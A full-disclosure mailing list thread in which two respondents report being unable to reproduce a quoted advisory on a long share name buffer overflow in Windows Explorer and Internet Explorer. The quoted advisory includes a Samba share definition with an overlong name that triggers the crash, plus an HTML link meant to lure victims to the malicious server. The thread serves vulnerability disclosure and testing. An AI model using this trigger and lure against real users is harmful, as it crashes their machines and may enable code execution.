full-disclosure - Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow.

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Message-ID: <408D94C6.3080703@ghcif.de>
From: t4c at ghcif.de (Milan 't4c' Berger)
Subject: Re: Microsoft's Explorer and Internet Explorer
 long share name buffer overflow.

Hello,

I expierenced the same like Daniel.
Windows 2k all hotfixes and patches installed.
Machine doesn't crash, just gave me the error
message "share name not found"

Tested on german Windows 2000 pro SP4/IE6
tested with Windows Explorer.


Regards,
	Milan


Daniel Regalado Arias wrote:
> Well, i have tested it in W2k with sp3 and explorer
> didnt get crashed!!!!!!!
> 
> Well, i cant get into the share because a message
> appears saying "share name not found"!!!!
> 
> But, explorer is OK.
> 
> 
>  --- Rodrigo Gutierrez <rodrigo@...ellicomp.cl>
> escribi?: > Sunday afternoon is a bit boring, and
> weather sucks
> 
>>down here in Santiago,
>>Chile so here we go...
>>The vuln is attached in TXT format, I would be
>>gratefull if someone could
>>verify if it affects windows 2003 as well.
>>
>>Rodrigo.-
>>
>>>Microsoft Explorer and Internet Explorer Long
> 
> Share
> 
>>Name Buffer Overflow.
>>
>>
>>
>>Author: Rodrigo Gutierrez <rodrigo@...ellicomp.cl>
>>
>>Affected: MS Internet Explorer, MS Explorer
>>(explorer.exe) 
>>          Windows XP(All), Windows 2000(All)
>>
>>Not Tested: Windows 2003, Windows me, Windows 98,
>>Windows 95
>>
>>Vendor Status: i notified the vendor in the
>>beginning of 2002, this
>>               vulnerability was supposed to be
>>fixed in xp service
>>               pack 1 according to the vendors
>>knowledge base article
>>               322857.
>>
>>Vendor url:
>>
> 
> http://support.microsoft.com/default.aspx?scid=kb;en-us;322857
> 
>>
>>
>>Background.
>>
>>MS Explorer (explorer.exe) and MS Internet
>>Explorer(IEXPLORE.EXE) are 
>>core pieces of Microsoft Windows Operating Systems.
>>
>>
>>
>>Description
>>
>>Windows fails to handle long share names when
>>accessing a remote 
>>file servers such as samba, allowing a malicious
>>server to crash the 
>>clients explorer and eventually get to execute
>>arbitrary code in the 
>>machine as the current user (usually with
>>Administrator rights in windows
>>machines).
>>
>>
>>
>>Analysis
>>
>>In order to exploit this, an attacker must be able
>>to get a user to connect 
>>to a malicious server which contains a share name
>>equal or longer than 300
>>characters, windows wont allow you to create such a
>>share, but of course samba 
>>includes the feature ;).   After your samba box is
>>up and running create a 
>>share in you smb.conf :
>>
>>
>>
>>#------------ CUT HERE -------------
>>
>>
> 
> [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
> 
>>comment = Area 51
>>path = /tmp/testfolder
>>public = yes
>>writable = yes
>>printable = no
>>browseable = yes
>>write list = @trymywingchung
>>
>>#------------ CUT HERE -------------
>>
>>
>>After your server is up, just get to your windows
>>test box and get to the
>>start menu > run > \\your.malicious.server.ip.,
>>plufff, explorer will crash
>>:).
>>
>>Social Engineering:
>>
>><a href="\\my.malicious.server.ip">Enter My 0day
>>sploit archive</a>
>> 
>>
>>
>>Workaround.
>>
>>From your network card settings disable the client
>>for Microsoft networks 
>>until a real fix for this vulnerability is
>>available.
>> 
> 
> 
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> 

-- 
Milan 't4c' Berger
Network & Security Administrator
21073 Hamburg

gpg: http://www.ghcif.de/keys/t4c.asc